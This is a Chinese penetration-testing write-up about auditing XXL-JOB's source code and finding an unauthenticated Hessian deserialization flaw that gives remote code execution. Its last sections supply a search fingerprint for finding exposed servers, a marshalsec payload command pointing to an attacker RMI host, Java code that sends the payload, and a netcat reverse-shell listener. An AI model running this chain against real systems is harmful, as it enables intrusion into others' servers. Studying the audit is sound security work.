技术干货 | 一次代码审计到RCE的实战渗透案例

admin 2022年3月31日08:18:24评论61 views字数 5342阅读17分48秒阅读模式

本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安世加的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作!


欢迎各位添加微信号:asj-jacky

加入安世加 交流群 和大佬们一起交流安全技术


一次代码审计到RCE的实战渗透案例




某次做项目的时候  

遇到了XXL-JOB,

当时并未公开任何xxl-job的漏洞,

于是有了下面的代码审计,

找到一处API接口的RCE,

拿下一个严重漏洞。






一、XXL-JOB简介

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。简单来说,xxl-job用于管理分布式任务,若任务的管理功能出现未授权访问,将造成相当大的影响。



二、代码审计

1.下载xxl-job的源码,查看项目的开发框架、根据框架特性查找所有的API接口;

访问项目地址,查看项目信息:Java语言开发、maven项目。

技术干货 | 一次代码审计到RCE的实战渗透案例

直接下载并使用IDEA打开,如下:

技术干货 | 一次代码审计到RCE的实战渗透案例

根据pom.xml文件内容可以确定,项目中使用了Spring、Freemarker、Jackson、Hessian、MyBatis等组件,可以先将上述组件涉及的漏洞列入代码审计的重点排查对象,包括:EL注入、模板注入、反序列化漏洞、Sql注入等


因为该项目使用的是Spring框架,因此直接利用Spring注解查找API接口:@(.*?)Mapping(

技术干货 | 一次代码审计到RCE的实战渗透案例

根据查找到的接口梳理出API地址

/
/toLogin
/login
/logout
/help
/api
/jobcode
/jobcode/save
/jobgroup
/jobgroup/save
/jobgroup/update
/jobgroup/remove
/jobinfo
/jobinfo/pageList
/jobinfo/add
/jobinfo/reschedule
/jobinfo/remove
/jobinfo/pause
/jobinfo/resume
/jobinfo/trigger
/joblog
/joblog/getJobsByGroup
/joblog/pageList
/joblog/logDetailPage
/joblog/logDetailCat
/joblog/logKill
/joblog/clearLog


利用dirsearch扫描目标,查找可未授权访问的API接口,找到/api接口

技术干货 | 一次代码审计到RCE的实战渗透案例

2.利用找到的API接口,FUZZ目标网站,根据响应判断版本并进行代码审计

在本地启动xxl-job项目,根据API接口列表和接口的响应判断出目标系统使用1.8或1.9版本的系统,于是切换至1.8版本的代码开始审计。


代码审计有三种方法:

• 通读源码分析漏洞

• 定向功能分析

• 函数回溯法

针对通用漏洞,第三种方法效率最高,利用此方法时,通常搭配白盒工具或代码编辑器进行辅助,大概思路是根据危险方法(Sink方法)反向查找,判断sink方法的参数是否用户可控;

该方法的核心在于掌握的漏洞触发点(sink方法),白盒/灰盒相关工具的实现原理也大都基于函数回溯法,因此,白盒的效果基本上都取决于策略,由于篇幅原因,代码审计/灰白盒相关内容只做抛砖引玉,不做详细介绍。


Xxl-job代码审计List:

• Spring框架导致反序列化

• Freemarker模板注入

• Jackson组件反序列化

• Hessian组件导致反序列化

• MyBatis导致Sql注入

根据第一步对API接口的查找,发现API接口位于xxl-job-admin模块中,可从xxl-job-admin入手;这里,我直接在整个项目中搜索@RequestBody,查找可能导致反序列化的API接口,没有发现

技术干货 | 一次代码审计到RCE的实战渗透案例

接下来,查找InputStream接口相关的反序列化漏洞,直接搜索readObject(),寻找是否存在该方法的调用。

技术干货 | 一次代码审计到RCE的实战渗透案例
技术干货 | 一次代码审计到RCE的实战渗透案例

找到HessianSerializer类中存在对HessianInput类readObject()方法的调用,接下来,查找参数bytes是否外部可控,于是,查找调用deserialize方法的代码。

技术干货 | 一次代码审计到RCE的实战渗透案例

共找到三处调用,分别是:

• xxl-job-core模块中的

com.xxl.job.core.rpc.netcom.jetty.server.JettyServerHandler#doInvoke方法

• xxl-job-core模块中的

com.xxl.job.core.rpc.netcom.jetty.client.JettyClient#send方法

• xxl-job-admin模块中的

com.xxl.job.admin.controller.JobApiController#doInvoke方法


由于目标系统只对外开放了xxl-job-admin模块中的WEB服务,因此,这里以第三处调用为例进行分析,其他两处调用可自行跟踪分析,均可找到相关的漏洞;


查看

com.xxl.job.admin.controller.JobApiController#doInvoke方法的详情,如下:

private RpcResponse doInvoke(HttpServletRequest request) {
  try {
    // deserialize request
    byte[] requestBytes = HttpClientUtil.readBytes(request);
    if (requestBytes == null || requestBytes.length==0) {
      RpcResponse rpcResponse = new RpcResponse();
      rpcResponse.setError("RpcRequest byte[] is null");
      return rpcResponse;
    }
    RpcRequest rpcRequest = (RpcRequest) HessianSerializer.deserialize(requestBytes, RpcRequest.class);

    // invoke
    RpcResponse rpcResponse = NetComServerFactory.invokeService(rpcRequest, null);
    return rpcResponse;
  } catch (Exception e) {
    logger.error(e.getMessage(), e);

    RpcResponse rpcResponse = new RpcResponse();
    rpcResponse.setError("Server-error:" + e.getMessage());
    return rpcResponse;
  }
}

上述代码中,首先利用

HttpClientUtil#readBytes从request请求中获取byte数组格式的POST数据,然后验证byte数组是否为空,不为空时,调用deserialize方法触发Hessian的反序列化;


继续跟进

com.xxl.job.admin.controller.JobApiController#doInvoke方法的调用,找到JobApiController#api方法,该方法中直接将HttpServletRequest对象传入doInvoke方法,未进行身份验证,可直接利用/api接口发送Hessian反序列化payload实现RCE。

@RequestMapping(AdminBiz.MAPPING)
@PermessionLimit(limit=false)
public void api(HttpServletRequest request, HttpServletResponse response) throws IOException {

  // invoke
  RpcResponse rpcResponse = doInvoke(request);

  // serialize response
  byte[] responseBytes = HessianSerializer.serialize(rpcResponse);

  response.setContentType("text/html;charset=utf-8");
  response.setStatus(HttpServletResponse.SC_OK);
  //baseRequest.setHandled(true);

  OutputStream out = response.getOutputStream();
  out.write(responseBytes);
  out.flush();
}



三、火器查找资产的姿势

发现该漏洞后,为了快速找到相关的资产,需要整理指纹,直接访问/api接口发现响应如下:

技术干货 | 一次代码审计到RCE的实战渗透案例

于是,可在火器中搜索HTTP响应体,即可找到相关的资产,搜索语法:request.-body:"com.xxl.job.core.codec.RpcResponseS"。

技术干货 | 一次代码审计到RCE的实战渗透案例


四、漏洞利用

此处反序列化漏洞利用需要以下内容(以下内容均可在火器中直接使用):

• marshalsec工具

• RMI/LDAP服务,用于JNDI调用

• HTTP服务,存放恶意class文件

• VPS服务器,用于接收反弹shell


marshalsec中包含Hessian的反序列化payload,直接使用marshalsec创建LDAP的反序列化payload

java -cp marshalsec-0.0.3.jar marshalsec.Hessian SpringPartiallyComparableAdvisorHolder "rmi://xxx:1099/Exploit_c844e9060158632367e62ed5f6103b36" > /tmp/d.payload


打开xxl-job-admin模块中的单元测试文件com.xxl.job.dao.impl.AdminBizTest,修改addressUrl地址为目标系统地址。

技术干货 | 一次代码审计到RCE的实战渗透案例

在该文件中添加以下方法,用于发送payload触发漏洞

@Test
public void xxlJobRce() {
  try {
    byte[] data = getContent("/tmp/d.payload");

    ByteArrayInputStream is = new ByteArrayInputStream(data);
    HessianInput hi = new HessianInput(is);
    hi.readObject();
    hi.close();

    byte[] responseBytes = HttpClientUtil.postRequest(addressUrl, data);
    if (responseBytes == null || responseBytes.length == 0) {
      ;
    }

  } catch (Exception e) {
    e.printStackTrace();
    System.out.println("反序列化过程出错,错误原因:" + e);
  }
}

public byte[] getContent(String filePath) throws IOException {
  File file = new File(filePath);
  long fileSize = file.length();
  if (fileSize > Integer.MAX_VALUE) {
    System.out.println("file too big...");
    return null;
  }
  FileInputStream fi = new FileInputStream(file);
  byte[] buffer = new byte[(int) fileSize];
  int offset = 0;
  int numRead = 0;
  while (offset < buffer.length
         && (numRead = fi.read(buffer, offset, buffer.length - offset)) >= 0) {
    offset += numRead;
  }
  // 确保所有数据均被读取
  if (offset != buffer.length) {
    throw new IOException("Could not completely read file "
                          + file.getName());
  }
  fi.close();
  return buffer;
}


在vps上开启nc监听7777端口,拿到shell。

技术干货 | 一次代码审计到RCE的实战渗透案例



本文始发于微信公众号(安世加):技术干货 | 一次代码审计到RCE的实战渗透案例

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月31日08:18:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   技术干货 | 一次代码审计到RCE的实战渗透案例http://cn-sec.com/archives/517613.html

发表评论

匿名网友 填写信息